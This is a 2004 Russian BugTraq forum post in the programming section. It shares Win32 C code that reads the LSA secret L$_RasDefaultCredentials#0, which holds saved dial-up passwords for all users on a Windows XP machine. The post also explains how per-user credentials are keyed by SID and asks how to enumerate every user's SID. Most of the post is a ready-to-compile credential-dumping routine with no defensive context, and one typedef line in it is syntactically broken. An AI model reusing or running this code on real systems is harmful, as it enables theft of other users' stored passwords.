информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Страшный баг в WindowsГде водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
[Win32] каму интересно, вот так это делается 29.09.04 15:54  Число просмотров: 1507
Автор: Tamas Статус: Member
Отредактировано 29.09.04 16:00  Количество правок: 2
<"чистая" ссылка> <обсуждение закрыто>
RetrieveLSASecrets возвращает данные из Protected Storage по ключу L$_RasDefaultCredentials#0 в этом клуче хранятся пароли сохранёные для всех пользователей, поля в Data разделены по 0x00

пароли для каждого пользователя в одельнасти хранятся по ключу
RasDialParams!S-1-5-21-1454471165-113007714-1708537768-1003#0
где S-1-5-21-1454471165-113007714-1708537768-1003 идентефикатор пользователля

и вот ещё вопрос к публике как получить лист таких ид по всем пользователям ???

PS примного блогодарен hello_world за ценный линк :-))

OS WinXP 5 1 2600
Lcc-Win32

#include <windows.h>
#include <ntsecapi.h>
#include <stdbool.h>

bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize);

int main()
{
unsigned char Data[255];
unsigned char DataSize;

RetrieveLSASecrets("L$_RasDefaultCredentials#0",&Data,&DataSize,sizeof(Data));

return 0;
}

bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize)
{
void *HAdvapi32;

typedef NTSTATUS NTAPI(*LPLSAOPENPOLICY)(PLSA_UNICODE_STRING,PLSA_OBJECT_ATTRIBUTES,ACCESS_MASK,PLSA_HANDLE);
typedef NTSTATUS NTAPILPLSARETRIEVEPRIVATEDATA)(LSA_HANDLE,PLSA_UNICODE_STRING,PLSA_UNICODE_STRING;
typedef NTSTATUS NTAPI(*LPLSACLOSE)(LSA_HANDLE);
typedef NTSTATUS NTAPI(*LPLSAFREEMEMORY)(PVOID);

LPLSAOPENPOLICY LsaOpenPolicyLF;
LPLSARETRIEVEPRIVATEDATA LsaRetrievePrivateDataLF;
LPLSACLOSE LsaCloseLF;
LPLSAFREEMEMORY LsaFreeMemoryLF;

LSA_OBJECT_ATTRIBUTES Attr;
LSA_HANDLE hPolicy;
LSA_UNICODE_STRING LsaKeyName;
PLSA_UNICODE_STRING pResult;

HAdvapi32=LoadLibrary("advapi32.dll");
if(HAdvapi32==NULL)return false;

LsaOpenPolicyLF=(LPLSAOPENPOLICY)GetProcAddress(HAdvapi32,"LsaOpenPolicy");
if(LsaOpenPolicyLF==NULL)return false;

LsaRetrievePrivateDataLF=(LPLSARETRIEVEPRIVATEDATA)GetProcAddress(HAdvapi32,"LsaRetrievePrivateData");
if(LsaRetrievePrivateDataLF==NULL)return false;

LsaCloseLF=(LPLSACLOSE)GetProcAddress(HAdvapi32,"LsaClose");
if(LsaCloseLF==NULL)return false;

LsaFreeMemoryLF=(LPLSAFREEMEMORY)GetProcAddress(HAdvapi32,"LsaFreeMemory");
if(LsaFreeMemoryLF==NULL)return false;

ZeroMemory(&Attr,sizeof(Attr));
ZeroMemory(&LsaKeyName,sizeof(LsaKeyName));
LsaKeyName.Buffer=LocalAlloc(LMEM_FIXED,strlen(KeyName)*sizeof(unsigned short));

MultiByteToWideChar(CP_ACP,0,KeyName,-1,LsaKeyName.Buffer,strlen(KeyName)*sizeof(unsigned short));
LsaKeyName.Length=lstrlenW(LsaKeyName.Buffer)*sizeof(unsigned short);
LsaKeyName.MaximumLength=(lstrlenW(LsaKeyName.Buffer)+1)*sizeof(unsigned short);

LsaOpenPolicyLF(NULL,&Attr,POLICY_ALL_ACCESS,&hPolicy);
if(hPolicy==NULL)return false;

LsaRetrievePrivateDataLF(hPolicy,&LsaKeyName,&pResult);
if(pResult==NULL)return false;

(*DataSize)=(pResult->Length/sizeof(unsigned short));
WideCharToMultiByte(CP_ACP,0,pResult->Buffer,(*DataSize),Data,DataMaxSize,NULL,NULL);

LsaCloseLF(hPolicy);
LsaFreeMemoryLF(pResult);
LocalFree(LsaKeyName.Buffer);
FreeLibrary(HAdvapi32);

return true;
}
<programming> Поиск 






Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach